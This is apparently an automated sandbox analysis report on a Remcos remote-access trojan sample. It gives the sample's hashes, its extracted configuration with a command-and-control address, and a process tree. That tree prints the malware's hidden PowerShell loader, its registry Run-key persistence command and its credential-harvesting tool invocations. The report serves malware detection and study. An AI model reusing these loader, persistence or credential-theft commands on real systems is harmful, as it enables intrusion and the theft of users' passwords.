Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
01-10-2024 01:34
Static task
static1
Behavioral task
behavioral1
Sample
9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
$WINDIR/compromis/Aerognosy.ps1
Resource
win7-20240708-en
Behavioral task
behavioral4
Sample
$WINDIR/compromis/Aerognosy.ps1
Resource
win10v2004-20240802-en
General
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Target
9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe
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Size
967KB
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MD5
450228d72f9f726b645c55bbbc6db905
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SHA1
b26075c51a4681f2ff7407188f5e9480545a7aca
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SHA256
9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be
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SHA512
4795d090447d237cbe1a044ffe78e8cd0c9be358df778673b4713eab2c324056a7701d22b827b95b2413845089fa71ac81a4f47cc8bcdbabad34845e64b4e090
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SSDEEP
12288:5Ly0W0exb+S7/6eALmQXhts30QmskXnnAEkINz3WSVgl:5Ly05wCmQXw30Ek3AgNz3Sl
Malware Config
Extracted
remcos
Rem_doc2
107.173.4.16:2404
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-DSGECX
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Detected Nirsoft tools 6 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/4816-97-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/4816-98-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/2200-90-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/3680-85-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/2200-87-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/3680-101-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft -
NirSoft MailPassView 2 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/2200-90-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView behavioral2/memory/2200-87-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 2 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/3680-85-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView behavioral2/memory/3680-101-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3324 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation Vaccinerende.exe -
Executes dropped EXE 3 IoCs
pid Process 3680 Vaccinerende.exe 2200 Vaccinerende.exe 4816 Vaccinerende.exe -
Loads dropped DLL 1 IoCs
pid Process 2984 Vaccinerende.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts Vaccinerende.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Chivey57 = "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\\Software\\Roscoelite\\').Aftvttedes;%Misbehavers% ($Frligheden)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 2984 Vaccinerende.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3324 powershell.exe 2984 Vaccinerende.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 3324 set thread context of 2984 3324 powershell.exe 91 PID 2984 set thread context of 3680 2984 Vaccinerende.exe 97 PID 2984 set thread context of 2200 2984 Vaccinerende.exe 98 PID 2984 set thread context of 4816 2984 Vaccinerende.exe 99 -
Drops file in Program Files directory 1 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\omdigtendes.udd 9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe -
Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\resources\villan\Knastakslerne.ini 9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe File created C:\Windows\brandbombernes.lnk 9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe File opened for modification C:\Windows\Fonts\knytt\Ballistics.mus 9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Vaccinerende.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Vaccinerende.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Vaccinerende.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Vaccinerende.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 2404 reg.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 3324 powershell.exe 3324 powershell.exe 3324 powershell.exe 3324 powershell.exe 3324 powershell.exe 3324 powershell.exe 3324 powershell.exe 3324 powershell.exe 3324 powershell.exe 3680 Vaccinerende.exe 3680 Vaccinerende.exe 4816 Vaccinerende.exe 4816 Vaccinerende.exe 3680 Vaccinerende.exe 3680 Vaccinerende.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
pid Process 3324 powershell.exe 2984 Vaccinerende.exe 2984 Vaccinerende.exe 2984 Vaccinerende.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 3324 powershell.exe Token: SeIncreaseQuotaPrivilege 3324 powershell.exe Token: SeSecurityPrivilege 3324 powershell.exe Token: SeTakeOwnershipPrivilege 3324 powershell.exe Token: SeLoadDriverPrivilege 3324 powershell.exe Token: SeSystemProfilePrivilege 3324 powershell.exe Token: SeSystemtimePrivilege 3324 powershell.exe Token: SeProfSingleProcessPrivilege 3324 powershell.exe Token: SeIncBasePriorityPrivilege 3324 powershell.exe Token: SeCreatePagefilePrivilege 3324 powershell.exe Token: SeBackupPrivilege 3324 powershell.exe Token: SeRestorePrivilege 3324 powershell.exe Token: SeShutdownPrivilege 3324 powershell.exe Token: SeDebugPrivilege 3324 powershell.exe Token: SeSystemEnvironmentPrivilege 3324 powershell.exe Token: SeRemoteShutdownPrivilege 3324 powershell.exe Token: SeUndockPrivilege 3324 powershell.exe Token: SeManageVolumePrivilege 3324 powershell.exe Token: 33 3324 powershell.exe Token: 34 3324 powershell.exe Token: 35 3324 powershell.exe Token: 36 3324 powershell.exe Token: SeDebugPrivilege 4816 Vaccinerende.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 3916 wrote to memory of 3324 3916 9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe 82 PID 3916 wrote to memory of 3324 3916 9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe 82 PID 3916 wrote to memory of 3324 3916 9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe 82 PID 3324 wrote to memory of 2984 3324 powershell.exe 91 PID 3324 wrote to memory of 2984 3324 powershell.exe 91 PID 3324 wrote to memory of 2984 3324 powershell.exe 91 PID 3324 wrote to memory of 2984 3324 powershell.exe 91 PID 3324 wrote to memory of 2984 3324 powershell.exe 91 PID 2984 wrote to memory of 1116 2984 Vaccinerende.exe 94 PID 2984 wrote to memory of 1116 2984 Vaccinerende.exe 94 PID 2984 wrote to memory of 1116 2984 Vaccinerende.exe 94 PID 1116 wrote to memory of 2404 1116 cmd.exe 96 PID 1116 wrote to memory of 2404 1116 cmd.exe 96 PID 1116 wrote to memory of 2404 1116 cmd.exe 96 PID 2984 wrote to memory of 3680 2984 Vaccinerende.exe 97 PID 2984 wrote to memory of 3680 2984 Vaccinerende.exe 97 PID 2984 wrote to memory of 3680 2984 Vaccinerende.exe 97 PID 2984 wrote to memory of 2200 2984 Vaccinerende.exe 98 PID 2984 wrote to memory of 2200 2984 Vaccinerende.exe 98 PID 2984 wrote to memory of 2200 2984 Vaccinerende.exe 98 PID 2984 wrote to memory of 4816 2984 Vaccinerende.exe 99 PID 2984 wrote to memory of 4816 2984 Vaccinerende.exe 99 PID 2984 wrote to memory of 4816 2984 Vaccinerende.exe 99
Processes
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C:\Users\Admin\AppData\Local\Temp\9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe"C:\Users\Admin\AppData\Local\Temp\9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3916 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3324 -
C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe"C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe"3⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:2404
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C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exeC:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\Admin\AppData\Local\Temp\yept"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3680
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C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exeC:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\Admin\AppData\Local\Temp\jgcmker"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:2200
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C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exeC:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\Admin\AppData\Local\Temp\taielpcybj"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4816
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
967KB
MD5450228d72f9f726b645c55bbbc6db905
SHA1b26075c51a4681f2ff7407188f5e9480545a7aca
SHA2569124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be
SHA5124795d090447d237cbe1a044ffe78e8cd0c9be358df778673b4713eab2c324056a7701d22b827b95b2413845089fa71ac81a4f47cc8bcdbabad34845e64b4e090
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD58b8277c8f03c24d1f290dbe476e961d2
SHA12e13baf3a4b708277d550dc3dd1e0f99b131f78e
SHA2569af6881f6dbffba028a7a977f4c0a43c764f840332986993ad66de7b816c2f9e
SHA5127367a0236cd0d6cd731caf1ba1f4ea8f851ea1018a9c6b49db6e9d13b2aaba92767774da9169481918e4287021ff5c3a58c3143eaa5e7fe9fa88383208615948
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Filesize
52KB
MD5552ed0904239d64db1895620b38dc799
SHA18a6a6c6efd31b04c716cde1783b45783f2843e20
SHA256d4d98fdbe306d61986bed62340744554e0a288c5a804ed5c924f66885cbf3514
SHA51221f283ac39223437470036ec08eb01bf40c4a0c45ea5b94bb4d902cf66923db4d14641ce68370d240ab2b213527552dfde13eb1ff4b21a0bbf0c1ee6aed7ade7
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Filesize
349KB
MD514c1d52f24f29389597b36dcfc90b95a
SHA1a2578253f17b5f0ef989965dcb74aebb60763b2d
SHA256f9b744d0223efe3c01c94d526881a95523c2f5e457f03774dd1d661944e60852
SHA5124dde50c0b37e51b944a7a61866730e53e96773e28c35260dcae1eb38805251c3ba8e72c5d33ae2cb8d7486a4d3c6c180ec4560e3c20a6c535ca3a70aac158710